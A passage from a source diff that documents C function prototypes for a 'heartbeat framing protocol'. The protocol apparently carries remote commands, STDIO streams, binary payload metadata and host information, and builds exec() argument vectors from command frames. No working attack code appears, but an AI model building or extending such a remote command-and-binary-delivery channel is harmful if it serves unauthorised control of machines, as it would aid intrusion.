pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_cmd ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol binary + * meta frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_bin_meta ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); +/** + * \brief The serialisation function for the heartbeat framing protocol STDIO + * frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_stdio ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); +/** + * \brief The serialisation function for the heartbeat protocol binary RCB frame + * \param mem The output buffer + * \param mem_len The byte length of the buffer available + * \param actual The actual number of bytes required or written + * \param in The pointer to the object + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more buffer is required for output + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_ser_rcb ( uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_rcb_t *in); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * message header frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_msg_head ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol status + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_status ( uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * hostinfo frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_host_info ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * hand-over frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_hover ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol + * command frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_cmd ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol binary + * meta frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_bin_meta ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); +/** + * \brief The deserialisation function for the heartbeat framing protocol STDIO + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_stdio ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out); +/** + * \brief The deserialisation function for the heartbeat protocol binary RCB + * frame + * \param data The input binary data + * \param len The byte length of the input binary data + * \param actual The actual number of bytes processed or required + * \param out The pointer to the object for output + * \retval PRNE_HTBT_SER_RC_OK on success + * \retval PRNE_HTBT_SER_RC_MORE_BUF if more input data is required for parsing + * \retval PRNE_HTBT_SER_RC_ERRNO if an error occurred during the process + * \retval PRNE_HTBT_SER_RC_FMT_ERR if a format error encountered + */ prne_htbt_ser_rc_t prne_htbt_dser_rcb ( const uint8_t *data, const size_t len, size_t *actual, prne_htbt_rcb_t *out); +/** + * \brief Index the series of strings to create an argument vector + * \param m_args The pointer to the series of strings + * \param args_size The byte length of the buffer + * \param add_argc The additional argument vector to prepend to the output + * argument vector + * \param add_args The number of elements in the additional argument vector + * \param[out] argc The number of elements in the output argument vector + * (optional) + * \param max_args The maximum number of elements allowed in the output argument + * vector. Use \c SIZE_MAX to disable this. + * \return The fabricated NULL element terminated argument vector, which can be + * passed directly to \c exec() Memory freeable with \c prne_free() + * \retval NULL and \c errno set to \c EINVAL - a null-terminator is not found + * at the end of \p m_args + * \retval NULL and \c errno set to \c E2BIG - the limit set with \p max_args + * reached. + * \retval NULL and \c errno set to \c ENOMEM - memory allocation for the ouput + * argument vector failed + * \note The function is used to prepare the argument vector for \c exec() call. + * The protocol is only responsible for the parametres and determining the file + * name of the executable is up to the implementation. The function is for + * parsing the linear argument vector from the heartbeat framing protocol + * command frame and prepending the path of the executable. + * \see \c exec() + */ char **prne_htbt_parse_args ( char *m_args, const size_t args_size, @@ -558,6 +1033,20 @@ char **prne_htbt_parse_args ( size_t *argc, const size_t max_args); +/** + * \brief Generate an integer for a new heartbeat framing protocol session + * \param ctx The context object + * \param rnd_f The PRNG callback function + * \return A randomly generated unsigned 16-bit integer for a new session + * \note This function is a convenience function for clamping the randomly + * generated number into the range used by the protocol - + * [ \c PRNE_HTBT_MSG_ID_MIN , \c PRNE_HTBT_MSG_ID_DELTA ) + */ uint16_t prne_htbt_gen_msgid (void *ctx, uint16_t(*rnd_f)(void*)); +/** + * \brief Convert the enum value to a string + * \return The pointer to the string from the read-only static string pool. + * \retval NULL if \p x is out of bounds and \c errno set to \c EINVAL + */ const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x); |